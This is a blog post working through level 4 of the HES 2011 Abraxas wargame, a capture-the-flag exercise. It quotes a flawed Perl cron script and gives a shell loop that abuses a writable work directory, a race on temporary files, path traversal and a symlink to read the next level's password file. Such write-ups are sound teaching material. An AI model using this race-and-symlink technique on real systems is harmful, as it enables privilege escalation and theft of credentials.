mercredi 6 mars 2013

[HES 2011] Abraxas Wargame - Level 4

Hello,

Time for level 4 of abraxas,

No useful clues in logbook.

First, let's check the cronjob:
$ cat /etc/cron.d/workpackagebuilder 
*/5 * * * *    level4 /home/level4/bin/make_random_input.sh && /home/level4/bin/workpackagebuilder.pl &> /dev/null

It runs every 5 minutes.

Nothing interesting in /home/level4/bin/make_random_input.sh, it just output some useless ASCII to put in the files.
But /home/level4/bin/workpackagebuilder.pl IS interesting.
#!/usr/bin/perl

$inputdir="/opt/workpackagebuilder/input/";
$templatedir="/opt/workpackagebuilder/templates/"; 
$outputdir="/opt/workpackagebuilder/output"; 
$workdir="/opt/workpackagebuilder/work"; 

$rnd = int(rand(20));
$tmpfile="$workdir/tmpfile$rnd";
$outputfile="$outputdir/workpackage$rnd.bin";

sub readfile($) {
  local ($fn) = @_;
  local $/=undef;
  open FILE, $fn or die "Couldn't open file: $!";
  binmode FILE;
  local $string = <FILE>;
  close FILE;
  return $string;
}

print "Cleaning up $tmpfile\n";
system "rm -rf $workdir/*";

print "Waiting for $tmpfile to be gone ...\n";
sleep 30;

# make sure nothing dirty remains
if(-l "$tmpfile") {
    exit;
}

if(-d "$tmpfile") {
    exit;
}

print "Reading input directory $inputdir\n";

# list all codes in the input dir and write them to a temporary file
opendir(my $dh, $inputdir) || die;
open OUT, ">$tmpfile";
while($f = readdir $dh) {
 if($f =~ /(\d+)_(\S+)/) {
     $code = $2;
     print OUT "$code\n";
 }
}
close OUT;
closedir $dh;

print "Done reading input directory, creating workpackage\n";

# read the list of input codes, and find their matching template
open OUT,">$outputfile";
open IN, "<$tmpfile";
while($code = <IN>) {
    chomp $code;
# if the template exists, use it
    if(-e "$templatedir/$code.bin") {
    print "Using template for $code\n";
    print OUT readfile("$templatedir/$code.bin");
    } else {
# otherwise, flag an error
    print "ERROR for $code\n";
    print OUT readfile("$templatedir/ERROR.bin");
    }
}
close IN;
close OUT;

# make sure all files get backed up
system "touch $outputdir/*";
system "rm -rf $workdir/*";

exit 0;

So basically, it picks a random number between 0 and 20 to create a tmpfile and an output file.
Any package name that is in input/ is outputed in tmpfile.
tmpfile is read line by line in order to get the correct template file that is outputed to output file.

That's all it does.
Before beginning, we ought to know the folders permissions:
$ ls -lash /opt/workpackagebuilder/
total 24K
4.0K drwxr-xr-x 6 root   root   4.0K 2011-04-05 00:07 .
4.0K drwxr-xr-x 4 root   root   4.0K 2011-04-06 10:54 ..
4.0K drwxr-x--- 2 level4 level3 4.0K 2013-03-06 12:20 input
4.0K drwxr-x--- 2 level4 level3 4.0K 2013-03-06 12:20 output
4.0K drwxr-x--- 2 level4 level3 4.0K 2011-04-05 00:07 templates
4.0K drwxrwx--- 2 level4 level3 4.0K 2013-03-06 12:20 work

Ok we can write tou work/ folder (which is where tmpfiles are stored).
We can basically control data in tmpfile.
This data is used to determined the path to a template. We don't need to bother to guess what is the random number ... just generate all 21 files! ;)
Looking at readfile, we can see open(), so I tried a the "| str" or "str |" trick in order to try to execute custom code. No luck, the .bin is forbidding us that.
But it doesn't really matter, we have an arbitrary file read through $code control:
print OUT readfile("$templatedir/$code.bin");

We control $code and readfile() just get the content of the file given in parameter => arbitrary read.
Since it has to finish with .bin extension, we use a symlink to redirect to /etc/pass/level4

The thing is ... tmpfile gets rewritten at some point in the script, just after following comment:
# list all codes in the input dir and write them to a temporary file

We ought to remove any write capabilities from other users then.

To get the correct output file, do a diff before and after the script run (you can't see which file is the last one due to touch command).

And we're set!

Here is the exploit:
#!/bin/sh

while true
do
    rm /opt/workpackagebuilder/work/pwn4.bin
    ln -s /etc/pass/level4 /opt/workpackagebuilder/work/pwn4.bin

    for idx in `seq 0 20`;
    do
        echo "../../../opt/workpackagebuilder/work/pwn4" > "/opt/workpackagebuilder/work/tmpfile$idx"
        chmod a-rxw "/opt/workpackagebuilder/work/tmpfile$idx"
        chmod o+r "/opt/workpackagebuilder/work/tmpfile$idx"
        chmod u+rxw "/opt/workpackagebuilder/work/tmpfile$idx"
    done

done

You just gotta wait every 5 minutes and get the password in the corresponding output file ;).

Cheers,

m_101

Aucun commentaire :

Enregistrer un commentaire